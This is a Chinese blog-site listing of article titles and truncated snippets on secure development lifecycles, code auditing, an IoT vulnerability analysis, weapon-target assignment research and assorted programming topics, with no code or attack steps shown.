  2. 微软SDL流程终极整理总结

    目录 微软软件安全开发流程(SDL) 一.微软SDL(Security Development Lifecycle)流程框架 二.主要步骤 1.安全培训Training 1.1 Core Securi ...

  3. 武器目标分配问题研究进展: 模型、算法与应用

    源自:系统公正与电子技术 作者:李梦杰  常雪凝  石建迈  陈超  黄金才  刘忠 摘 要 武器目标分配问题是指挥控制与任务规划领域的关键难点之一, 也是军事运筹领域的基础研究课题.经过多年研究, ...

  4. 【应用安全】S-SDLC安全开发生命周期

    0x01 S-SDLC简介 OWASP Secure Software Development Lifecycle Project(S-SDLC)是OWASP组织首个由OWASP中国团队独立发布并主导 ...

  5. SDL介绍----4、S-SDLC安全开发生命周期

    文章目录 一.S-SDLC 二. S-SDLC流程 三.S-SDLC项目流程 一.S-SDLC OWASP Secure Software Development Lifecycle Project( ...

  6. 某IOT设备漏洞分析

    申明:本文章所分享内容仅用于网络安全技术讨论,切勿用于违法途径,所有渗透都需获取授权,违者后果自行承担,与本文及作者无关,请谨记守法. 设备名称: DLINK DIR-818l 固件包: d-link ...

  7. 「干货」橙留香博客导读:专栏系统分类和博客归纳总结

    也许每个人出生的时候都以为这世界都是为他一个人而存在的,当他发现自己错的时候,他便开始长大 少走了弯路,也就错过了风景,无论如何,感谢经历 0x01 前言 为了更好地帮助博友同学学习作者同学的博客,方 ...

  8. 基于UML模型的NGN业务安全分析

    相比传统的电信网,NGN面临着众多的安全威胁,NGN的业务安全也面临着巨大的挑战.业务的开发和部署需要考虑到更多的安全特性和安全功能.利用 UML安全扩展UMLsec对NGN中的业务安全需求进行分析建 ...

  9. php敏感字符串过滤_PHP代码审计入门:常见的危险函数和审计点

    01什么是危险函数 函数设计出来就是让人使用的,之所以危险,是因为其功能过于强大.开发人员特别是刚从业的人员很少会完整阅读完整个文档,再或者是没有意识到当给这些函数传递一些非常规的,外部可控的参数会带 ...

  10. 常见的Java审计代码函数关键字_转载:Java代码审计汇总系列(一)——SQL注入

    原文链接:https://cloud.tencent.com/developer/article/1534109 一.代码审计 相比黑盒渗透的漏洞挖掘方式,代码审计具有更高的可靠性和针对性,更多的是依 ...

最新文章

  1. 将Byte数组转化为String
  2. 最牛程序员,雷军年度演讲:最好的投资,就是投资自己
  3. iOS开发UI篇—Modal简单介绍
  4. java 变量单例_Java静态变量的用法:伪单例
  5. 元素随着滚动条滚动而滚动,但是到浏览器窗口顶部的距离是固定的功能代码...
  6. Keep-Alive功能使客户端到服务器端的连接持续有效
  7. Algorithms Part 1-Question 2-QuickSort-快速排序算法
  8. 【Elasticsearch】实施现代电子商务搜索
  9. 新一代华为折叠屏手机MateX2,你会考虑入手吗?
  10. 计算机操作系统第四章测试题及答案
  11. react-native0.66==windows环境搭建、demo测试
  12. 航天飞机电子计算机象征是什么,航天飞机的特点是什么
  13. c语言程序设置存根,gmock可以用于存根C函数吗?
  14. 数据填报不用愁,帆软报表来解忧!
  15. Steam 网络联机配置代码
  16. 《四大文明古国》读书笔记思维导图,感受人类文明
  17. 安全威胁分类STRIDE
  18. 计算机论文结束语致谢,毕业论文致谢结束语3篇
  19. 人民广场,上海博物馆
  20. 计算思维运用计算机的例子,计算思维案例及平时成绩讨论题资料.doc

热门文章

  1. linux 进程killed_linux下运行Gaussian09进程被killed
  2. 酒店管理系统(前台后台管理)
  3. 【OOP编程思想小感悟】
  4. Android反编译 for Mac
  5. com.lowagie.itext pom 2.1.7.js6
  6. 如何监控Tuxedo中间件?Oralce TUXEDO监控方案
  7. Glide圆角和centerCrop()的那些坑
  8. d1分辨率和960分辨率_选择2D艺术资产的分辨率
  9. Ubuntu服务器长时间运行爬虫程序
  10. Matlab数学建模工具